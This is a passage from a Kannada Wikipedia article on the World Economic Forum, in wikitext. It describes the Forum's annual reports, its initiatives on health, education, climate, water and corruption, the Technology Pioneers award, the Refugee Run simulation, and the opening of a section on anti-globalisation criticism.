ಸ್ಪರ್ಧಾತ್ಮಕತೆಯ ತಂಡ] {{Webarchive|url=https://web.archive.org/web/20101201200230/http://www.weforum.org/en/initiatives/gcp/index.htm |date=2010-12-01 }} ವು ವಾರ್ಷಿಕ ಆರ್ಥಿಕ ವರದಿಗಳ ಒಂದು ಶ್ರೇಣಿಯನ್ನು ರೂಪಿಸುತ್ತದೆ (ಅವರಣಗಳಲ್ಲಿರುವುದು ಮೊದಲು ಪ್ರಕಟಿಸಲ್ಪಟ್ಟ ವರ್ಷ): ಜಾಗತಿಕ ಸ್ಪರ್ಧಾತ್ಮಕತೆಯ ವರದಿಯು (1979) ದೇಶಗಳು ಮತ್ತು ಆರ್ಥಿಕತೆಗಳ ಸ್ಪರ್ಧಾತ್ಮಕತೆಯನ್ನು ಅಳೆಯುತ್ತದೆ; ಜಾಗತಿಕ ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನದ ವರದಿಯು (2001) ಅವುಗಳ IT ಸನ್ನದ್ಧತೆಯನ್ನು ಆಧರಿಸಿ ಅವುಗಳ ಸ್ಪರ್ಧಾತ್ಮಕತೆಯನ್ನು ಮೌಲ್ಯಮಾಪನ ಮಾಡುತ್ತದೆ; ಜಾಗತಿಕ ಲಿಂಗ ಅಂತರದ ವರದಿಯು (2005) ಪುರುಷರು ಮತ್ತು ಮಹಿಳೆಯರ ನಡುವಿನ ಅಸಮಾನತೆಯ ವಿಷಮಾವಸ್ಥೆಯ ಪ್ರದೇಶಗಳನ್ನು ಅವಲೋಕಿಸುತ್ತದೆ; ಜಾಗತಿಕ ಅಪಾಯಗಳ ವರದಿಯು (2006) ಪ್ರಮುಖವಾದ ಜಾಗತಿಕ ಅಪಾಯಗಳ ಕುರಿತು ಮೌಲ್ಯಮಾಪನ ಮಾಡುತ್ತದೆ; ಜಾಗತಿಕ ಪರ್ಯಟನೆ ಮತ್ತು ಪ್ರವಾಸೋದ್ಯಮದ ವರದಿಯು (2007) ಪರ್ಯಟನೆ ಮತ್ತು ಪ್ರವಾಸೋದ್ಯಮದ ಸ್ಪರ್ಧಾತ್ಮಕತೆಯನ್ನು ಅಳೆಯುತ್ತದೆ ಮತ್ತು ಜಾಗತಿಕ ವ್ಯಾಪಾರವನ್ನು ಅನುವುಗೊಳಿಸುವ ವರದಿಯು (2008) ರಾಷ್ಟ್ರಗಳ ನಡುವಿನ ವ್ಯಾಪಾರವನ್ನು ಸರಾಗಗೊಳಿಸುವ, ಬೃಹತ್‌‌ ಸಂಖ್ಯೆಯಲ್ಲಿರುವ ಕ್ರಮಗಳ ಒಂದು ದೇಶಾದ್ಯಂತದ ವಿಶ್ಲೇಷಣೆಯನ್ನು ಸಾದರಪಡಿಸುತ್ತದೆ.<ref>ಪಿಗ್‌ಮನ್‌ ಪುಟಗಳು 43, 92-112</ref> ಜಾಗತಿಕ ವ್ಯಾಪ್ತಿಯನ್ನು ಹೊಂದಿವೆ ಎಂಬುದಾಗಿ ಪರಿಗಣಿಸಲ್ಪಟ್ಟಿರುವ, ವಿಭಿನ್ನ-ಕೈಗಾರಿಕಾ ಪ್ರಸ್ತುತತೆಯನ್ನು ಹೊಂದಿರುವ, ಅನಿಶ್ಚಿತವಾಗಿರುವ, 10 ಶತಕೋಟಿ US$ಗೂ ಹೆಚ್ಚಿನ ಪ್ರಮಾಣದ ಆರ್ಥಿಕ ಹಾನಿಯನ್ನು ಉಂಟುಮಾಡುವ ಸಾಮರ್ಥ್ಯ ಹೊಂದಿರುವ, ಮಾನವಕುಲಕ್ಕೆ ಬೃಹತ್ತಾದ ಸಂಕಟವನ್ನು ತಂದೊಡ್ಡಬಲ್ಲ ಸಾಮರ್ಥ್ಯ ಹೊಂದಿರುವ ಹಾಗೂ ತಗ್ಗಿಸುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಒಂದು ಬಹು-ಹೂಡಿಕೆದಾರ ವಿಧಾನವನ್ನು ಬಯಸುವ ಅಪಾಯಗಳನ್ನು ನಿರ್ಣಯಿಸುವ ವಾರ್ಷಿಕ ವರದಿಯೊಂದನ್ನು [http://www.weforum.org/en/initiatives/globalrisk/index.htm ಗ್ಲೋಬಲ್‌ ರಿಸ್ಕ್‌ ನೆಟ್‌ವರ್ಕ್‌] {{Webarchive|url=https://web.archive.org/web/20101201195909/http://www.weforum.org/en/initiatives/globalrisk/index.htm |date=2010-12-01 }} ರೂಪಿಸುತ್ತದೆ.<ref name="riskreport">[http://www.weforum.org/pdf/globalrisk/2009.pdf 2009ರ ಜಾಗತಿಕ ಅಪಾಯದ ವರದಿ] {{Webarchive|url=https://web.archive.org/web/20090225070901/http://www.weforum.org/pdf/globalrisk/2009.pdf |date=2009-02-25 }}, ವಿಶ್ವ ಆರ್ಥಿಕ ವೇದಿಕೆ.</ref> ಓದುಗರ ಊಹೆಗಳಿಗೆ ಸವಾಲೊಡ್ಡಲೆಂದು, ಆಧಾರವಾಗಿರುವ ನಿರ್ಣಾಯಕ ಅಂಶಗಳ ಕುರಿತಾಗಿ ಜಾಗೃತಿ ಮೂಡಿಸಲೆಂದು ಹಾಗೂ ಭವಿಷ್ಯದ ಕುರಿತಾದ ತಾಜಾ ಚಿಂತನೆಯನ್ನು ಉತ್ತೇಜಿಸಲೆಂದು ವಿನ್ಯಾಸಗೊಳಿಸಲಾದ, ಪ್ರಾದೇಶಿಕ, ಕೈಗಾರಿಕಾ-ಉದ್ದೇಶಿತ ಮತ್ತು ಸಮಸ್ಯೆ-ಉದ್ದೇಶಿತ ವರದಿಗಳ ಒಂದು ಶ್ರೇಣಿಯನ್ನು [http://www.weforum.org/en/initiatives/Scenarios/index.htm ಭವಿಷ್ಯದ ಚಿಂತನೆಗಳ ಯೋಜನಾ] {{Webarchive|url=https://web.archive.org/web/20090729072933/http://www.weforum.org/en/initiatives/Scenarios/index.htm |date=2009-07-29 }} ತಂಡವು ಅಭಿವೃದ್ಧಿಪಡಿಸುತ್ತದೆ.<ref name="scenariopage">{{cite web |url=http://www.weforum.org/en/initiatives/Scenarios/index.htm |title=World Economic Forum — Scenario Planning |publisher=Weforum.org |date= |accessdate=2010-03-07 |archive-date=2009-07-29 |archive-url=https://web.archive.org/web/20090729072933/http://www.weforum.org/en/initiatives/Scenarios/index.htm |url-status=dead }}</ref> 2008–2009ರ ಜಾಗತಿಕ ಹಣಕಾಸಿನ ಬಿಕ್ಕಟ್ಟಿನ ಸನಿಹದ- ಮತ್ತು ದೀರ್ಘಾವಧಿಯ ಸಂಭವನೀಯ ಪ್ರಭಾವಗಳ ಕುರಿತಾದ ಒಂದು ಪ್ರಮುಖ ಪ್ರಕಟಣೆಯಾದ [http://www.weforum.org/en/initiatives/Scenarios/NewFinancialArchitecture/index.htm ದಿ ಫ್ಯೂಚರ್‌ ಆಫ್‌ ದಿ ಗ್ಲೋಬಲ್‌ ಫೈನಾನ್ಷಿಯಲ್‌ ಸಿಸ್ಟಮ್‌: ಎ ನಿಯರ್‌-ಟರ್ಮ್‌ ಔಟ್‌ಲುಕ್‌ ಅಂಡ್‌ ಲಾಂಗ್‌-ಟರ್ಮ್‌ ಸಿನೆರಿಯೋಸ್‌] {{Webarchive|url=https://web.archive.org/web/20090813050747/http://www.weforum.org/en/initiatives/Scenarios/NewFinancialArchitecture/index.htm |date=2009-08-13 }} ಹಾಗೂ ಪಿಂಚಣಿ ಮತ್ತು ಆರೋಗ್ಯ ರಕ್ಷಣೆಯ ಧನಸಹಾಯದ ಮೇಲೆ ಜನಸಂಖ್ಯಾಶಾಸ್ತ್ರದ ವರ್ಗಾವಣೆಗಳ ಪ್ರಭಾವದ ಕುರಿತಾದ ಭವಿಷ್ಯದ ಚಿಂತನೆಗಳನ್ನು ಒಳಗೊಂಡಿರುವ [http://www.weforum.org/en/initiatives/Scenarios/FinancingDemographicShifts/index.htm "ಫೈನಾನ್ಸಿಂಗ್‌ ಡೆಮೋಗ್ರಾಫಿಕ್‌ ಷಿಫ್ಟ್ಸ್‌: ಪೆನ್ಷನ್‌ ಅಂಡ್‌ ಹೆಲ್ತ್‌ಕೇರ್‌ ಸಿನೆರಿಯೋಸ್‌ ಟು 2030"] {{Webarchive|url=https://web.archive.org/web/20090730055635/http://www.weforum.org/en/initiatives/Scenarios/FinancingDemographicShifts/index.htm |date=2009-07-30 }} ಎಂಬ ಪ್ರಕಟಣೆಯನ್ನು ಇತ್ತೀಚಿನ ವರದಿಗಳು ಒಳಗೊಂಡಿವೆ. ===ಉಪಕ್ರಮಗಳು=== ಜಾಗತಿಕ ಆರೋಗ್ಯದ ಉಪಕ್ರಮ (ಗ್ಲೋಬಲ್‌ ಹೆಲ್ತ್‌ ಇನಿಷಿಯೆಟಿವ್‌-GHI) ಎಂಬ ಪರಿಕಲ್ಪನೆಗೆ 2002ರಲ್ಲಿ ನಡೆದ ವಾರ್ಷಿಕ ಸಭೆಯಲ್ಲಿ [[ಕೋಫಿ ಅನ್ನಾನ್|ಕೋಫಿ ಅನ್ನಾನ್‌]] ಚಾಲನೆ ನೀಡಿದ. HIV/[[ಏಡ್ಸ್ ರೋಗ|AIDS]], TB, [[ಮಲೇರಿಯಾ]]ದಂಥ ಕಾಯಿಲೆಗಳು ಮತ್ತು ಆರೋಗ್ಯ ವ್ಯವಸ್ಥೆಗಳನ್ನು ನಿಭಾಯಿಸಲು ಸಾರ್ವಜನಿಕ-ಖಾಸಗಿ ಪಾಲುದಾರಿಕೆಗಳಲ್ಲಿ ವ್ಯವಹಾರದ-ಅಸ್ತಿತ್ವಗಳನ್ನು ತೊಡಗಿಸುವುದು GHIನ ನಿಶ್ಚಿತಗುರಿಯಾಗಿದೆ. [[File:Henry Kissinger, at the World Economic Forums India Economic Summit 2008, New Delhi.jpg|left|upright|thumb|2008ರ ನವೆಂಬರ್‌‌ನಲ್ಲಿ ನವದೆಹಲಿಯಲ್ಲಿ ನಡೆದ ವಿಶ್ವ ಆರ್ಥಿಕ ವೇದಿಕೆಯ 'ಭಾರತದ ಆರ್ಥಿಕ ಶೃಂಗಸಭೆ'ಯಲ್ಲಿ ಹೆನ್ರಿ ಕಿಸಿಂಜರ್‌‌]] 2003ರಲ್ಲಿ ನಡೆದ ವಾರ್ಷಿಕ ಸಭೆಯ ಸಂದರ್ಭದಲ್ಲಿ ಪ್ರಾರಂಭಿಸಲ್ಪಟ್ಟ ಜಾಗತಿಕ ಶಿಕ್ಷಣದ ಉಪಕ್ರಮವು (ಗ್ಲೋಬಲ್‌ ಎಜುಕೇಷನ್‌ ಇನಿಷಿಯೆಟಿವ್‌-GEI) ಅಂತರರಾಷ್ಟ್ರೀಯ IT ಕಂಪನಿಗಳು ಮತ್ತು ಜೋರ್ಡಾನ್‌, [[ಈಜಿಪ್ಟ್|ಈಜಿಪ್ಟ್‌]] ಮತ್ತು ಭಾರತ ದೇಶಗಳ ಸರ್ಕಾರಗಳನ್ನು ಒಂದೆಡೆ ಸೇರಿಸಿದ್ದು, ಇದು ತರಗತಿಯ ಕೊಠಡಿಗಳಲ್ಲಿ ಹೊಸ PC ಯಂತ್ರಾಂಶವು ಬಳಕೆಗೆ ಬರಲು ಹಾಗೂ ಇ-ಕಲಿಕೆಯಲ್ಲಿ ಹೆಚ್ಚಿನ ಸ್ಥಳೀಯ ಶಿಕ್ಷಕರು ತರಬೇತಿ ಪಡೆಯುವಂತಾಗಲು ಕಾರಣವಾಗಿದೆ. ಮಕ್ಕಳ ಜೀವನಕ್ರಮಗಳ ಮೇಲೆ ಇದು ಒಂದು ನಿಜವಾದ ಪ್ರಭಾವವನ್ನು ಹೊಂದಿದೆ. ಆರೋಹಣೀಯ ಮತ್ತು ಊರ್ಜಿತವಾಗಬಲ್ಲ ಲಕ್ಷಣವನ್ನು ಹೊಂದಿರುವ GEI ಮಾದರಿಯು, [[ರ್ವಾಂಡ|ರ್ವಾಂಡಾ]] ಸೇರಿದಂತೆ ಇತರ ದೇಶಗಳಲ್ಲಿ ಒಂದು ಶೈಕ್ಷಣಿಕ ನೀಲನಕಾಶೆಯಾಗಿ ಬಳಸಲ್ಪಡುತ್ತಿದೆ. ಹವಾಮಾನ ಬದಲಾವಣೆ ಮತ್ತು ನೀರಿಗೆ ಸಂಬಂಧಿಸಿದ ವಿಷಯಗಳನ್ನು ಪರಿಸರೀಯ ಉಪಕ್ರಮವು ಒಳಗೊಳ್ಳುತ್ತದೆ. 2005ರಲ್ಲಿ ಗ್ಲೆನೀಗಲ್ಸ್‌ನಲ್ಲಿ ನಡೆದ G8 ಶೃಂಗಸಭೆಯಲ್ಲಿ ಹವಾಮಾನ ಬದಲಾವಣೆಯ ಕುರಿತಾದ ಗ್ಲೆನೀಗಲ್ಸ್‌ ಮಾತುಕತೆಯ ಅಡಿಯಲ್ಲಿ, ವಿಶ್ವ ಆರ್ಥಿಕ ವೇದಿಕೆಯೊಂದಿಗೆ UK ಸರ್ಕಾರವು ಮಾತನಾಡುತ್ತಾ, ಹಸಿರುಮನೆ ಅನಿಲದ ಹೊರಸೂಸುವಿಕೆಗಳ ತಗ್ಗಿಸುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಶಿಫಾರಸುಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಲು ವ್ಯವಹಾರ ಸಮುದಾಯದೊಂದಿಗಿನ ಒಂದು ಮಾತುಕತೆಯನ್ನು ಸುಗಮಗೊಳಿಸುವಂತೆ ಕೇಳಿಕೊಂಡಿತು. CEOಗಳ ಒಂದು ಜಾಗತಿಕ ಸಮೂಹದಿಂದ ಅಂಗೀಕರಿಸಲ್ಪಟ್ಟ ಈ ಶಿಫಾರಸುಗಳನ್ನು, ಮುಂದೆ 2008ರ ಜುಲೈನಲ್ಲಿ ಟೋಕಿಯೋ/ಹೊಕಾಯ್ಡೊದಲ್ಲಿ ಆಯೋಜಿಸಲ್ಪಟ್ಟ G8 ಶೃಂಗಸಭೆಯ ನಾಯಕರ ಮುಂದೆ ಸಾದರಪಡಿಸಲಾಯಿತು.<ref>[http://news.bbc.co.uk/2/hi/science/nature/7464517.stm "ಬಿಸಿನೆಸ್‌ ಚೀಫ್ಸ್‌ ಅರ್ಜ್‌ ಕಾರ್ಬನ್‌ ಕರ್ಬ್ಸ್‌"], BBC, 20 ಜೂನ್‌ 2008, 2008ರ ಸೆಪ್ಟೆಂಬರ್‌‌ 3ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು.</ref><ref>[http://www.reuters.com/article/environmentNews/idUSL1944804220080620?feedType=RSS&amp;feedName=environmentNews "ಬಿಸಿನೆಸ್‌ ಚೀಫ್ಸ್‌ ಕಾಲ್‌ ಫಾರ್‌ G8 ಕ್ಲೈಮೇಟ್‌ ಲೀಡರ್‌ಷಿಪ್‌"], ರಾಯಿಟರ್ಸ್‌‌, 19 ಜೂನ್‌ 2008, 2008ರ ಸೆಪ್ಟೆಂಬರ್‌‌ 3ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು,</ref> [[ದಕ್ಷಿಣ ಆಫ್ರಿಕಾ]] ಮತ್ತು ಭಾರತದಲ್ಲಿ ನೀರಿನ ನಿರ್ವಹಣೆಯ ಕುರಿತಾಗಿ ಸಾರ್ವಜನಿಕ-ಖಾಸಗಿ ಪಾಲುದಾರಿಕೆಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಲೆಂದು, ನೀರಿಗೆ ಸಂಬಂಧಿಸಿದ ಉಪಕ್ರಮವು ವಿಭಿನ್ನ ಹೂಡಿಕೆದಾರರನ್ನು ಒಂದೆಡೆ ಸೇರಿಸುತ್ತದೆ. ಅಭಿವೃದ್ಧಿ ಮತ್ತು ಸಹಕಾರಕ್ಕಾಗಿ ಮೀಸಲಾದ ಸ್ವಿಸ್‌ ಸಂಸ್ಥೆಯಾದ ಆಲ್ಕಾನ್‌ ಇಂಕ್‌., USAID ಇಂಡಿಯಾ, UNDP ಇಂಡಿಯಾ, ಭಾರತೀಯ ಕೈಗಾರಿಕಾ ಒಕ್ಕೂಟ (ಕಾನ್ಫೆಡರೇಷನ್‌ ಆಫ್‌ ಇಂಡಿಯನ್‌ ಇಂಡಸ್ಟ್ರಿ-CII), [[ರಾಜಸ್ಥಾನ|ರಾಜಾಸ್ಥಾನ]]ದ ಸರ್ಕಾರ ಹಾಗೂ NEPAD ಬಿಸಿನೆಸ್‌ ಫೌಂಡೇಷನ್‌ ಇವೇ ಆ ಹೂಡಿಕೆದಾರ ಸಂಸ್ಥೆಗಳಾಗಿವೆ. ಭ್ರಷ್ಟಾಚಾರದ ವಿರುದ್ಧ ಸೆಣಸುವ ಒಂದು ಪ್ರಯತ್ನವಾಗಿ ಪಾರ್ಟ್‌ನರಿಂಗ್‌ ಎಗೇನ್ಸ್ಟ್‌ ಕರಪ್ಷನ್‌ ಇನಿಷಿಯೆಟಿವ್‌ (PACI) ಎಂಬ ಉಪಕ್ರಮಕ್ಕೆ, 2004ರ ಜನವರಿಯಲ್ಲಿ ದಾವೋಸ್‌ನಲ್ಲಿ ನಡೆದ ವಾರ್ಷಿಕ ಸಭೆಯಲ್ಲಿ [[ಎಂಜಿನಿಯರಿಂಗ್‌]] ಮತ್ತು ನಿರ್ಮಾಣ, [[ಶಕ್ತಿ]] ಮತ್ತು ಲೋಹಗಳು ಹಾಗೂ ಗಣಿಗಾರಿಕೆ ಉದ್ಯಮಗಳಿಗೆ ಸೇರಿದ CEOಗಳು ಚಾಲನೆ ನೀಡಿದರು. PACI ಎಂಬುದು ಪ್ರಾಯೋಗಿಕ ಅನುಭವ ಮತ್ತು ದ್ವಂದ್ವದ ಸನ್ನಿವೇಶಗಳ ಕುರಿತಾದ ಸಮಾನಸ್ಕಂದ ವಿಷಯಗಳ ವಿನಿಮಯಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ಒಂದು ವೇದಿಕೆಯಾಗಿದೆ. ಸುಮಾರು 140 ಕಂಪನಿಗಳು ಇದಕ್ಕೆ ಸಹಿಹಾಕಿವೆ.<ref>ಪಿಗ್‌ಮನ್‌ ಪುಟ 115</ref> ===ಪ್ರಶಸ್ತಿಗಳು=== ====ತಂತ್ರಜ್ಞಾನದ ಪಥನಿರ್ಮಾಪಕರ ಕಾರ್ಯಸೂಚಿ==== ಹೊಸ ತಂತ್ರಜ್ಞಾನಗಳನ್ನು ವಿನ್ಯಾಸಗೊಳಿಸುತ್ತಿರುವ ಮತ್ತು ಅಭಿವೃದ್ಧಿಪಡಿಸುತ್ತಿರುವ ವಿಶ್ವದಾದ್ಯಂತದ ಕಂಪನಿಗಳನ್ನು, ತಂತ್ರಜ್ಞಾನದ ಪಥನಿರ್ಮಾಪಕರ ಕಾರ್ಯಸೂಚಿಯು ಗುರುತಿಸುತ್ತದೆ. ಪ್ರತಿ ವರ್ಷವೂ 30-50 ಕಂಪನಿಗಳಿಗೆ ಪ್ರಶಸ್ತಿಯನ್ನು ನೀಡಲಾಗುತ್ತದೆ. 2008ರ ವೇಳೆಗೆ ಇದ್ದಂತೆ, ಇಂಥ 391 ಕಂಪನಿಗಳು ಗುರುತಿಸಲ್ಪಟ್ಟಿವೆ. ಈ ಪ್ರಶಸ್ತಿಯನ್ನು ಮೊದಲಿಗೆ 2003ರಲ್ಲಿ ನೀಡಲಾಯಿತು. ವಿಶ್ವದ ಸ್ಥಿತಿಗತಿಯನ್ನು ಸುಧಾರಿಸುವೆಡೆಗೆ ವಿಶ್ವ ಆರ್ಥಿಕ ವೇದಿಕೆಯು ಹೊಂದಿರುವ ಬದ್ಧತೆಗೆ ಅನುಸಾರವಾಗಿ, ತಂತ್ರಜ್ಞಾನದ ಪಥನಿರ್ಮಾಪಕರನ್ನು ಇದರ ಚಟುವಟಿಕೆಗಳೊಳಗೆ ಸಂಯೋಜಿಸಲಾಗಿದೆ; ಜಾಗತಿಕ ಕಾರ್ಯಸೂಚಿಯ ಕುರಿತಾದ ಭವಿಷ್ಯ-ಉದ್ದೇಶಿತ ಸಮಸ್ಯೆಗಳನ್ನು ಪೂರ್ವ ನಿಯಾಮಕವಾಗಿರುವ, ಪರಿವರ್ತನಶೀಲವಾಗಿರುವ ಮತ್ತು ಉದ್ಯಮಶೀಲತೆಯಿಂದ ಕೂಡಿದ ವಿಧಾನಗಳಲ್ಲಿ ಗುರುತಿಸುವ ಮತ್ತು ಅವುಗಳ ಕಡೆಗೆ ಗಮನ ಹರಿಸುವ ಉದ್ದೇಶವನ್ನು ಸದರಿ ಕಾರ್ಯಚಟುವಟಿಕೆಗಳು ಹೊಂದಿವೆ. ವಿಜ್ಞಾನಿಗಳು, ಶಿಕ್ಷಣ ತಜ್ಞರು, NGOಗಳು, ಮತ್ತು ವೇದಿಕೆಯ ಸದಸ್ಯರು ಹಾಗೂ ಪಾಲುದಾರರೊಂದಿಗೆ ಈ ಕಾರ್ಯನಿರ್ವಹಣಾಧಿಕಾರಿಗಳನ್ನು ಒಟ್ಟಾಗಿ ಸೇರಿಸುವುದರ ಮೂಲಕ, ತಂತ್ರಜ್ಞಾನಗಳನ್ನು ಹೇಗೆ ಬಳಸಿಕೊಳ್ಳಲು ಸಾಧ್ಯವಿದೆ ಎಂಬುದರ ಮೇಲೆ ಹೊಸಬೆಳಕು ಚೆಲ್ಲುವುದು ವೇದಿಕೆಯ ಉದ್ದೇಶವಾಗಿದೆ; ಉದಾಹರಣೆಗೆ, ಹೊಸ ಲಸಿಕೆಗಳನ್ನು ಕಂಡುಹಿಡಿಯುವುದು, ಆರ್ಥಿಕ ಬೆಳವಣಿಗೆಯನ್ನು ಸೃಷ್ಟಿಸುವುದು ಮತ್ತು ಜಾಗತಿಕ ಸಂವಹನೆಯನ್ನು ವರ್ಧಿಸುವುದು ಇವೆಲ್ಲವೂ ಇದರ ವ್ಯಾಪ್ತಿಯಲ್ಲಿ ಬರುತ್ತವೆ.<ref>{{cite web |url=http://www.weforum.org/en/Communities/Technology%20Pioneers/ |title=World Economic Forum — Technology Pioneers |publisher=Weforum.org |date= |accessdate=2010-03-07 |archive-date=2009-10-01 |archive-url=http://arquivo.pt/wayback/20091001073520/http://www.weforum.org/en/Communities/Technology%20Pioneers/ |url-status=dead }}</ref> ===ನಿರಾಶ್ರಿತರ ಓಟ=== UNHCR ಮತ್ತು ಕ್ರಾಸ್‌ರೋಡ್ಸ್‌ ಫೌಂಡೇಷನ್‌ ಎಂಬ ಹೆಸರಿನ ಹಾಂಗ್‌ಕಾಂಗ್‌ ಮೂಲದ ದತ್ತಿಸಂಸ್ಥೆಯ ಸಹ-ಆಯೋಜನೆಯಲ್ಲಿ ಹಮ್ಮಿಕೊಳ್ಳಲಾದ ನಿರಾಶ್ರಿತರ ಓಟವು, 2009ರಿಂದ ಮೊದಲ್ಗೊಂಡು ವಿಶ್ವ ಆರ್ಥಿಕ ವೇದಿಕೆಯಲ್ಲಿ ಕಾಣಿಸಿಕೊಳ್ಳುತ್ತಿರುವ ಒಂದು ಅನುಕರಣೆಯಾಗಿದೆ. ಹಿಂಸೆಯ ಅಥವಾ ಕಿರುಕುಳದ ಕಾರಣದಿಂದಾಗಿ ತಮ್ಮ ಮನೆಗಳನ್ನು ಬಿಟ್ಟು ಓಡಿಹೋಗಬೇಕಾದ ಬಲವಂತಕ್ಕೆ ಒಳಗಾದ ಜನರು ಅನುಭವಿಸಿದ, ಬಾರಿಬಾರಿ ಭಯಗೊಳಿಸುವ ಅಗ್ನಿಪರೀಕ್ಷೆಯ ಆಕ್ಷಣದ ಒಂದು ಚಿತ್ರವನ್ನು ಇದು ಒದಗಿಸುತ್ತದೆ. ಉದ್ದೇಶವನ್ನು ಸಂಬಂಧಪಟ್ಟವರಿಗೆ ಮನವರಿಕೆ ಮಾಡಿಕೊಡಲೆಂದು WEFನಲ್ಲಿ ಅನನ್ಯ ಸ್ವರೂಪದ ಅನುಕರಣೆಯನ್ನು ಬಳಸಲಾಗುತ್ತಿದೆ; ನಿರಾಶ್ರಿತರ ಮತ್ತು ಆಂತರಿಕವಾಗಿ ಸ್ಥಳಾಂತರಿಸಲ್ಪಟ್ಟ ಜನರ ದುರವಸ್ಥೆಯನ್ನು ವಿಶ್ವದ ಅತ್ಯಂತ ಪ್ರಭಾವಿ ಜನರ ಪೈಕಿ ಕೆಲವರು ಅರ್ಥೈಸಿಕೊಳ್ಳುವುದಕ್ಕೆ ಹಾಗೂ ಅವನ್ನು ತಾದಾತ್ಮ್ಯಾನುಭವದಿಂದ ಗ್ರಹಿಸುವುದಕ್ಕೆ ನೆರವಾಗುವ ಮತ್ತು ಪೀಡಿತರಿಗೆ ನೆರವಾಗುವಲ್ಲಿ UNHCR ಹಮ್ಮಿಕೊಂಡಿರುವ ಪ್ರಯತ್ನಗಳಿಗೆ ಬೆಂಬಲ ಕೇಳುವ ಉದ್ದೇಶವನ್ನು ಈ ಅನುಕರಣೆಯು ಹೊಂದಿದೆ.<ref>{{cite web|author=United Nations High Commissioner for Refugees |url=http://www.unhcr.org/4b6309479.html |title=VIPs share refugee experience in Davos; UNHCR co-launches business partnership site |publisher=UNHCR |date=2010-01-29 |accessdate=2010-03-07}}</ref><ref>{{cite web|url=http://www.publicradio.org/columns/marketplace/davos-2010/2010/01/displaced_person.html |title=Displaced person &#124; Marketplace World Economic Forum &#124; Marketplace from American Public Media |publisher=Publicradio.org |date=2010-01-29 |accessdate=2010-03-07}}</ref> ==ಟೀಕೆ== 1990ರ ದಶಕದ ಅಂತ್ಯಭಾಗದಲ್ಲಿ, G7, ವಿಶ್ವ ಬ್ಯಾಂಕು, WTO, ಮತ್ತು IMFಗಳ ಜೊತೆಯಲ್ಲಿ WEF ಸಂಘಟನೆಯೂ ಸಹ ಜಾಗತೀಕರಣ-ವಿರೋಧಿ ಕ್ರಿಯಾವಾದಿಗಳಿಂದ ಭಾರೀ ಟೀಕೆಗೆ ಒಳಗಾಯಿತು. ಬಂಡವಾಳ ನೀತಿ ಮತ್ತು ಜಾಗತೀಕರಣಗಳು ಬಡತನವನ್ನು ಹೆಚ್ಚಿಸುತ್ತಿವೆ ಮತ್ತು ಪರಿಸರವನ್ನು ನಾಶಪಡಿಸುತ್ತಿವೆ ಎಂಬುದು ಈ ಕ್ರಿಯಾವಾದಿಗಳ ಸಮರ್ಥನೆಯಾಗಿತ್ತು. [[ಆಸ್ಟ್ರೇಲಿಯ|ಆಸ್ಟ್ರೇಲಿಯಾ]]ದ ಮೆಲ್ಬೋರ್ನ್‌‌ನಲ್ಲಿ ನಡೆದ ವಿಶ್ವ ಆರ್ಥಿಕ ವೇದಿಕೆಯ ಸಭೆಗೆ ಬರುತ್ತಿದ್ದ 200 ಪ್ರತಿನಿಧಿಗಳ ಸಾಗಣೆಗೆ ತಡೆಯೊಡ್ಡುವ ಮೂಲಕ, 1500 ಪ್ರದರ್ಶನಕಾರರು ಈ ಸಭೆಗೆ ಅಡ್ಡಿಪಡಿಸಿದರು.<ref>[https://web.archive.org/web/20090131144221/http://www.iht.com/articles/2000/09/12/protest.2.t_0.php "ಇಕನಾಮಿಕ್‌ ಟಾಕ್ಸ್‌ ಓಪನ್‌ ಮೈನಸ್‌ 200 ಡೆಲಿಗೇಟ್ಸ್‌: ಡೆಮಾನ್ಸ್‌ಟ್ರೇಟರ್ಸ್‌ ಹರಾಸ್‌ ಮೆಲ್ಬೋರ್ನ್‌ ಕಾನ್ಫರೆನ್ಸ್‌"], ''ಇಂಟರ್‌ನ್ಯಾಷನಲ್‌ ಹೆರಾಲ್ಡ್‌ ಟ್ರಿಬ್ಯೂನ್‌‌'' , 12 ಸೆಪ್ಟೆಂಬರ್‌‌ 2000, 2008ರ ಆಗಸ್ಟ್‌‌ 29ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು.</ref> ಬೊನೊ ಎಂಬ ರಾಕ್‌ ಸಂಗೀತದ ಗಾಯಕನು ಸದರಿ ಸಭೆಯ ಕುರಿತು ಮಾತನಾಡುತ್ತಾ ಇದು "ಹಿಮದಲ್ಲಿ ಕೊಬ್ಬಿದ ಬೆಕ್ಕುಗಳು" ಆಯೋಜಿಸಿರುವ ಸಭೆ ಎಂಬುದಾಗಿ ಕುಹಕವಾಗಿ ಉಲ್ಲೇಖಿಸಿದ್ದರ ವಿರುದ್ಧ ಪ್ರತಿಭಟಿಸಲೆಂದು, ದಾವೋಸ್‌ನಲ್ಲಿ ಪ್ರತಿಭಟನೆಗಳು ಪದೇ ಪದೇ ಆಯೋಜಿಸಲ್ಪಟ್ಟವು; ನೋಡಿ: ಸ್ವಿಜರ್‌ಲೆಂಡ್‌ನಲ್ಲಿನ WEF-ವಿರೋಧಿ ಪ್ರತಿಭಟನೆಗಳು, ಜನವರಿ 2003.<ref>[http://www.forbes.com/facesinthenews/2006/01/26/bono-davos-red-cx_cn_0126autofacescan02.html "ಬೊನೊ ಟೀಮ್ಸ್‌ ಅಪ್‌ ವಿತ್‌ ಅಮೆಕ್ಸ್‌, ಗ್ಯಾಪ್‌ ಫಾರ್‌ ಪ್ರಾಡಕ್ಟ್‌ ರೆಡ್‌"] {{Webarchive|url=https://web.archive.org/web/20080908033533/http://www.forbes.com/facesinthenews/2006/01/26/bono-davos-red-cx_cn_0126autofacescan02.html |date=2008-09-08 }}, ''ಫೋರ್ಬ್ಸ್‌'' , 21 ಜನವರಿ 2006, 2008ರ ಆಗಸ್ಟ್‌‌ 29ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು.</ref> [[ನೋಅಮ್ ಚಾಮ್ಸ್ಕೀ|ನೊವಾಮ್‌ ಚೋಮ್ಸ್‌ಕಿ]] ಎಂಬ ಅಮೆರಿಕಾದ ಓರ್ವ ಭಾಷಾಶಾಸ್ತ್ರಜ್ಞ ಮತ್ತು ಸಾರ್ವಜನಿಕ 